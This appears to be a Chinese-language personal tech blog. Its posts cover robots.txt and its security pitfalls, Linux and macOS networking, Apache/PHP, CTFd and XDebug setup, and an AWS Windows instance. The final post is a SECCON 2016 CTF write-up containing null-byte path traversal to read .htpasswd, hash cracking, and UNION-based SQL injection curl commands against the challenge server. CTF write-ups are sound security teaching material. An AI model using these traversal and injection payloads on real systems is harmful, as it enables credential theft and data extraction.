Robots.txt 的使用方法與安全注意事項

Robots.txt 是什麼

robots.txt (固定全小寫) 是一個放在網域的根目錄的文字檔案, 裡面的內容用於指示網路爬蟲什麼東西該索引以及什麼東西不該索引, 不難看出網站的SEO與安全性都與這個小小的檔案有莫大的關聯.

由於 robots.txt 是約定成俗的用法並不是一個標準, 因此不能保證遵守以及隱私性(不該給別人看到的東西就要鎖好)

Robots.txt 的使用方法

常見指令

User-agent: 設定什麼爬蟲要遵守接下來的規定
Disallow: 禁止索引
Allow: 歡迎索引
Sitemap: 網站的 Sitemap 位置, 加速爬蟲索引
Crawl-delay: 每一次的請求之前的延遲時間

使用範例

  • 禁止所有爬蟲索引
User-agent: * 
Disallow: /
  • 禁止所有爬蟲索引 /img/ 這個目錄
User-agent: * 
Disallow: /img/
  • 禁止百度爬蟲索引所有內容
User-agent: Baiduspider
Disallow: /
  • 禁止所有爬蟲索引但 Google 爬蟲例外
User-agent: *
Disallow: /
User-agent: Googlebot
Allow: /
  • 每一次存取間隔 1秒
    禁止所有爬蟲索引, 但 Google 爬蟲例外
User-agent: *
Disallow: /

User-agent: Googlebot
Allow: /
Crawl-delay: 1

不是所有的爬蟲都支援 Allow 抵銷 Disallow

  • 不索引任何 js 檔案
User-agent: *
Disallow: /*.js$

路徑匹配方式

超乎預期的影響力

若想要阻擋 /news 這個網頁的存取, 下面這個寫法看起來正確, 但實際上影響範圍更廣

Disallow: /news

這個寫法不只阻擋 /news, 連同 /news-123, /news-234 也都會被阻擋, 只要前面吻合就會忽略

正確寫法

因此正確寫法應該是在末端加入 $(結尾符號), 表示要完全吻合

Disallow: /news$

如此一來就只會不索引 /news, 其餘網頁仍然會正常索引

使用後設(Meta)資料

robots.txt 通常用來阻擋固定不變的內容, 但有時候我們會需要動態生成阻擋名單, 我們不必動態生成 robots.txt, 可以透過在網頁中加入以下後設(Meta)資料, 來達到禁止索引的效果

<meta name="robots" content="noindex,nofollow" />

爬蟲在讀取該網頁後便會放棄索引網站內容

逆向 SEO

我們可以透過 robots.txt disallow 與 後設(Meta)資料來促使爬蟲移除特定頁面, 藉此移除過期內容以及增加網站資料簡潔度

注意事項

  • 大小寫敏感, /img 不等於 /IMG
  • 文字間的空白會被省略, /hello world 等於 /helloworld

Robots.txt 帶來的資安問題

網站中有很多秘密不想讓別人知道, 其中最常見的就是管理後台,為了避免後台被索引, 我們可能會將 robots.txt 寫成這樣

User-agent: * 
Disallow: /admin/

這樣一來, 攻擊者就無法使用 Google Hacking 技巧來找出後台位置了, 這樣的想法大錯特錯.

對於攻擊者而言, 他可以打開 robots.txt 檔案看看你 Disallow 哪些東西, 等同於告訴攻擊者哪裡有機密, 這是一種此地無銀三百兩的概念.

即使你的後台名稱叫做 /you_will_never_never_guess_where_is_the_admin/, 不管當中有多少 never, 攻擊者都可以直接找到正確位置.

為了避免這類型的問題, 我們可以將 robots.txt 寫成這樣

User-agent: * 
Disallow: /you_will_never

利用路徑匹配的特性, 間接的禁止索引真正的後台位置.

結論

robots.txt 應該視為引導爬蟲索引網站的工具, 而不是保護網站的工具, 任何不希望出現在網路上的資料不應該上傳到網路上, 假若逼不得已必須放到網路上, 必須使用 Http Authorization 之類的存取保護機制保護資料.

macOS 無法使用 127.0.0.2 的解決辦法

127.0.0.0/8 是保留給 loopback 網路卡使用的網段, 我們可以藉由 127.0.0.0/8 來模擬不同的IP以及測試網卡驅動是否正常, 在 Windows 跟 Linux 下 127.0.0.0/8 都可以正常運作, 但 macOS 下卻無法連線, 主要原因是因為 FreBSD家族預設只會 bind 127.0.0.1, 因此 127.0.0.2, 127.0.0.3 之類的都不會通.

我們可以透過下列指令將需要的 loopback IP 叫回來( 這邊用 127.0.0.2 作為範例)

sudo ifconfig lo0 alias 127.0.0.2 netmask 0xFFFFFFFF

指令執行成功後, 我們就會發現可以 ping 到 127.0.0.2 了

註: 重新開機設定會消失, 需要重新執行指令

Linux 設定 VLAN 802.1Q

在複雜網路環境中適度的使用 VLAN 會幫助我們降低管理複雜度, 當我們設定完 Switch 端 VLAN 設定後, 我們也必須調整電腦端的 VLAN 設定來接入 VLAN 網路, Linux 對於 VLAN 的支援非常穩定, 透過以下的方法我們便可以在 Linux 輕鬆使用 VLAN.

安裝相關套件

安裝 VLAN 套件

sudo apt-get install vlan

將 802.1q 模組載入 Kernel

modprobe 8021q

確認 Kernel 有正確載入 802.1Q 模組

sudo lsmod | grep -i 8021q 

有輸出就代表有正常載入 802.1Q 模組

8021q                  27844  0 
garp                   13117  1 8021q
mrp                    17343  1 8021q

設定網路卡

在我的網路環境中, 我有一張實體網路卡 eth0, 並且要設定兩張 VLAN 網卡, 分別為 VLAN 5 與 VLAN 10.

編輯 /etc/network/interfaces

# 將 eth0 網卡切入手動模式
auto eth0
iface eth0 inet manual
        pre-up ifconfig $IFACE up

# 網卡名稱格式為 Bridge 網卡.VLAN

# 建立 VLAN 5 網卡, 靜態網路設定
auto eth0.5 
iface eth0.5 inet static
        vlan-raw-device eth0  #Bridge 到 eth0
        # 以下為基本網卡設定, 依照需求設定即可
        address 10.10.10.254
        netmask 255.255.255.0

# 建立 VLAN 10 網卡, DHCP
auto eth0.10
iface eth0.10 inet dhcp
        vlan-raw-device eth0

設定完畢後重新啟動 networking

/etc/init.d/networking restart

若設定都正確, ifconfig 將會顯示設定好的 VLAN 網卡, 這樣我們就可以正常存取 VLAN 網路了

在 Debian 8 (Jessie) 上安裝 Apache + PHP 7

環境

Debian 8 (Jessie) 請注意OS版本, 本文針對 Debian 8 做說明
Apache 2.4
PHP 7.0

加入 dotdeb 資源

新增套件來源

新增 dotdeb.org 資源庫, 此為 PHP7 的套件來源

echo "deb http://mirrors.teraren.com/dotdeb/ stable all" | sudo tee --append /etc/apt/sources.list
echo "deb-src http://mirrors.teraren.com/dotdeb/ stable all" | sudo tee --append /etc/apt/sources.list

由於我的主機在日本, 因此我選擇日本的鏡像點, 你也可以從 https://www.dotdeb.org/mirrors/ 尋找比較適合的鏡像點

加入 dotdeb.org 的 GPG Key

新的套件來源都必須加入 GPG Key 來確保完整性, 我們可以透過下列指令匯入 dotdeb 的 GPG Key

wget -qO - https://www.dotdeb.org/dotdeb.gpg | sudo apt-key add -

更新主機套件資訊以及升級過期套件

sudo apt-get update && sudo apt-get upgrade -y

安裝 Apache + PHP 7

安裝 Apache

sudo apt-get install apache2 -y

安裝 PHP 7

sudo apt-get install php7.0 php7.0-common -y

安裝 PHP 7 常用函數庫

我們可以透過 apt-cache 列出所有可以安裝的 php7.0 函數庫

apt-cache search php7.0

這邊我就只安裝常用的套件, 各位可以依照需求自行補充安裝

sudo apt-get install php7.0-zip php7.0-mysql php7.0-mcrypt php7.0-mbstring php7.0-json php7.0-imagick php7.0-gmp php7.0-curl php7.0-dom php7.0-gd -y

連接 Apache 與 PHP 7

sudo apt-get install libapache2-mod-php7.0 -y && sudo service apache2 restart

測試結果

在 Web 目錄中建立一個 test.php 來確認是否能夠正常執行 php

echo "<?php phpinfo();" | sudo tee /var/www/html/test.php

打開瀏覽器 前往 http://[你的IP]/test.php

若出現以上面的畫面就代表 Apache 與 PHP 7 成功運作

Perl 出現 Setting locale failed 的解決辦法

在 Debian/Ubuntu 中不知道從什麼時候開始, 使用像是 git, apt-get 這類工具時都會出現下面這個錯誤訊息, 雖然沒有立即性的影響, 但看起來十分礙眼, 決定今天來解決他一下.

perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
    LANGUAGE = (unset),
    LC_ALL = "zh_TW.UTF-8",
    LC_LANG = "zh_TW.UTF-8",
    LANG = "zh_TW.UTF-8"
    are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").

修正方法其實很簡單, 只要生成對應的語系檔案, 並且重新設定語系就可以了

重新設定 dpkg locales

dpkg-reconfigure locales 

選擇 zh_TW.UTF-8 UTF-8 , 如果有其他需要的也可以在這裡勾選

選擇 zh_TW.UTF-8 作為預設語言, 確定之後系統會生成所需的檔案

Generating locales (this might take a while)...
  en_US.UTF-8... done
  zh_TW.UTF-8... done
Generation complete.

如此一來就不會出現相關的錯誤了

使用 CTFd 架設 CTF 平台 (Apache + mod_wsgi + MySQL)

這陣子因為課程需要建立一個 CTF 平台, 最後決議使用 CTFd 來架設這次的CTF計分板, 安裝的過程中踩了不少的地雷, 又因為懶得裝 Nginx 改採 Apache + mod_wsgi 結果冒出了更多問題, 真的是人不作死就不會死.

本篇文章假定各位已經裝好 Apache 與 MySQL.

關於 CTFd

CTFd 是 isislab 推出的 open source jeopardy style CTF platform, 使用上非常容易上手, 運行要求十分輕量且容易客製化.
DEMO: CTFd.io

環境資訊

Python 2.7
Apache 2.4
Debian 8

1. 環境準備

sudo apt-get update
sudo apt-get install build-essential libffi-dev git libapache2-mod-wsgi python-pip python-dev
a2enmod mod_wsgi

2. 取的最新版 CTFd

git clone https://github.com/isislab/CTFd.git
cd CTFd

3. 安裝相依

pip install -r requirements.txt
pip install -U sqlalchemy

4. 設定啟動腳本

在 CTFd 下建立 apache.py, 讓 Apache 使用這個 py 來啟動服務

import sys
sys.path.insert(0, '/CTFd') # /CTFd 要改成你的 CTFd 主目錄的路徑, 範例是放在 /CTFd

from CTFd import create_app
application = create_app()

5. 設定 Apache

DocumentRoot /CTFd # CTFd 所在目錄
WSGIDaemonProcess CTFd user=www-data group=www-data threads=5 # user/group 決定 Apache 用哪個帳號運行這支程式
WSGIScriptAlias / /CTFd/apache.py # 前面步驟設定的啟動腳本
 <Directory /CTFd>
    WSGIProcessGroup CTFd
    WSGIApplicationGroup %{GLOBAL}
    Order allow,deny
    Allow from all
    Require all granted  # Apache 2.4 預設禁止目錄在 /var/www 外, 這行可以解除這項限制
</Directory>

6. 設定資料庫連線(Mysql)

建立資料庫的時候編碼記得選擇 utf8mb4_bin (若選擇general將會導致計分板無法正確取得題目類型), 這樣就可以讓 CTFd 支援 Emoji 和中文

編輯 CTFd/CTFd/config.py

SQLALCHEMY_DATABASE_URI = "mysql://帳號:密碼@主機位置/資料庫名稱?charset=utf8mb4"

這邊無需導入資料表, 在網站第一次啟動的時候程式會自動建立必要資料表以及產生Admin

7. 重新啟動 Apache

systemctl restart apache2

備註

由於 CTFd 有檔案上傳與Log, 要記得將 CTFd 目錄的擁有者設定成 Apache 使用的帳號, 不然CTFd不會正常運作

如何擷取 Windows Loopback 封包

在開發各種網路系統時, 不管是 安全分析, 流量分析, 協定分析…等都逃不了封包分析的命運, 在開發階段, 我們時常會建立 local server 進行測試, 前陣子因為特殊原因必須要分析封包時才赫然發現 Wireshark 在 Windows 上竟然無法擷取 loopback 介面的封包(127.0.0.1 之類的, 只要是本機持有的 IP 都不行), 根據 Wireshark 官方說法是不支援, 只好開始尋找其他方法.

在經過各種嘗試, 最終只剩下 NPacp, NetCap, RawCap 這三個工具可以達成我的目的, 網路上也有人提過 KB-839013 但實測後發現沒有任何效果.

最後我選擇了 RawCap, 因為他輕巧免安裝, 又可以產生 pcap 讓我繼續用 Wireshark 分析

RawCap

官方網站: Netresec
下載位置: RawCap

使用方法

程式一執行就會列出可以用的網路介面卡, 在這邊我的 LoopBack 卡是 7號


在選擇完介面後, 程式會詢問檔案名稱, 這邊我維持預設 dumpfile.pcap

開始擷取封包後, 只要按下 Ctrl+C 便可以停止錄製並退出程式

在 RawCap 的所在目錄就會出現 dumpfile.pcap, 這便是我們要的擷取結果, 使用 Wireshark 開啟就可以看到之前無法擷取的 loopback 封包

如何在 XAMPP 3 安裝 XDebug

XDebug 是 PHP 一個很好用的除錯工具, 同時也是Unit Test 的好幫手, 做好 UnitTest Coverage 就靠它了!

今天在處理 XAMPP 測試環境時發現 XAMPP 3 的 XDebug 設定不見了, 於是花點時間把它找了出來, 在這邊記錄一下如何在 XAMPP 啟動 XDebug 的方法

環境

XAMPP v3.2.2
Windows 10

Step 1. 停止 Apache

我們可以藉由 XAMPP Control Panel 先將 Apache 停止

Step 2. 修改 PHP.ini

從 XAMPP Control Panel 中快速開啟 php.ini

並將下列內容貼到 php.ini 的底部並存檔
請記得將 S:\xampp 更換為 XAMPP 實際安裝位置

[XDebug]
zend_extension = "S:\xampp\php\ext\php_xdebug.dll"
xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
xdebug.profiler_output_dir = "S:\xampp\tmp"
xdebug.profiler_output_name = "cachegrind.out.%t-%s"
xdebug.remote_enable = 0
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "127.0.0.1"
xdebug.trace_output_dir = "S:\xampp\tmp"

Step 3. 啟動 Apache

Step 4. 確認 XDebug 正常載入

如果 XDebug 有正常載入, 我們便可以在 phpinfo 中看到相關資訊

小記

在 XAMPP 3 之前, XDebug 的設定都已經幫我們寫好在 php.ini 裡, 只是被註解掉了, 但 XAMPP 3 之後就消失, 讓我還特地去挖設定檔

如何在 AWS EC2 建立 Windows Server 2016 主機

最近系統測試環境需要使用 Windows Server 2016, 但手邊沒有多餘的測試主機, 想到平常工作都是使用 Linux, 所以 Amazon Web Service(AWS)上的主機也都是以 Linux 系統為主, 那就在 AWS EC2 上開一台 Windows 2016 玩玩看好了, 實際使用後才發現流程上有點差異, 決定做個筆記紀錄一下

Step 1. 建立 Windows EC2

創建 Windows EC2 的方法就跟建立 Linux EC2 的方法大致相同, 只要選擇 Windows 的 AMI 即可(這邊選擇 Windows Server 2016)

後續步驟跟平常建立 EC2相同, 這邊就不再贅述

Step 2. 選擇憑證

在 EC2 建立精靈的最後一步會要求選擇憑證, 請務必選擇憑證, 這憑證是用來解開密碼用的, 很多人在這個步驟想說 Windows 不支援 PEM 登入就不選擇, 導致最後無法解開登入資訊

Setp 3. 取得登入密碼

在主機建立完成後, 可以在主機上按下右鍵選擇 Get Windows Password

若主機上尚未準備完成會顯示如下訊息, 過幾分鐘後重試就可以了(主機建立後四分鐘通常就可以正常取得密碼)

當系統準備完成時, 系統會要求我們上傳自己的 PEM(建立EC2時選的那張憑證)

上傳PEM後選擇 Decrypt Password

畫面上就會顯示登入資訊

Setp 3. 取得連線資訊

在主機上按下右鍵選擇 Connect

點選 Download Remote Desktop File, 下載 RDP 資訊檔

接著只要打開下載的 RDP 檔就可以建立遠端連線了!

SECCON 2016 Writeup – [Web] uncomfortable-web

題目

題目給我們一個介面, 我們必須透過此介面執行程式來訪問位於內網的目標網站

過程

題目提供了簡單的範例程式, 用 curl 取得內網內容

#!/bin/sh
curl -s http://127.0.0.1:81/

從 curl 回傳結果得到了目錄結構資料

<h1>Index of /</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51  </td><td align="right">  - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08  </td><td align="right">612 </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>

目錄中有一個受保護的目錄 authed, 以及一個 select.cgi
在訪問 select.cgi 後, 發現 select.cgi 接受一個參數 txt, 值有 a,b 兩種

select.cgi?txt=a

select.cgi?txt=b

從結果可以知道 select.cgi 會去開位於 authed 內的檔案

Apache 的 HTTP Basic Authentication 是由 .htaccess 設定的

因此請求 .htaccess 檔案, 看看帳號密碼存在哪裡

select.cgi?txt=authed/.htaccess%00

AuthUserFile /var/www/html-inner/authed/.htpasswd
AuthGroupFile /dev/null
AuthName "SECCON 2016"
AuthType Basic
Require user keigo

從檔案中可以得知帳號密碼位於 .htpasswd 內

select.cgi?txt=.htpasswd%00

keigo:LdnoMJCeVy.SE

由於 .htpasswd 存放的是已經 hash 過的結果, 我們可以使用 John The Ripper(JTR) 去爆破出原始內容

john .htpasswd --show

keigo:test

在成功取得 authed 的內容後, 發現有一個 sqlinj/ 目錄

在這個目錄內有 100個 cgi, 隨便打開一個

<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>

從 HTML 內可以知道程式可接受 no 參數, 於是寫一個程式去測試所有cgi

for i in $(seq 1 100);
do
    echo ${i}
    curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/${i}.cgi?no=4822237842%27+or+1--"
done

從結果中發現 72.cgi 是唯一可以被注入的, 於是便透過 sqlite_master 取得資料表結構(SQLite)

curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=4822237842%27+union+select+1,(select+group_concat(sql)+FROM+sqlite_master),3--"

看樣子 flag 應該是放在 f1ags 的 f1ag

CREATE TABLE books (isbn10,isbn13,date),CREATE TABLE f1ags (f1ag)<br>
curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=%27+union+select+1,(select+f1ag+FROM+f1ags),3--"

成功得到 flag

ISBN-10: 1
ISBN-13: SECCON{I want to eventually make a CGC web edition... someday...}
PUBLISH: 3

FLAG

SECCON{I want to eventually make a CGC web edition… someday…}

後記

真的超不舒適的題目
因為過程要一直改檔案後上傳, 所以寫了一個小 script 去上傳 code

import time, requests, StringIO
import lxml.html
target = "http://uncomfortableweb.pwn.seccon.jp/"
command = """\
#!/bin/sh
#curl -s http://127.0.0.1:81/select.cgi?txt=authed/.htaccess%00
"""
resp = requests.post(target, files={"file": StringIO.StringIO(command)}, data={}).text
print lxml.html.fromstring(resp).xpath("//pre/text()")[0]

稍微舒服了一點.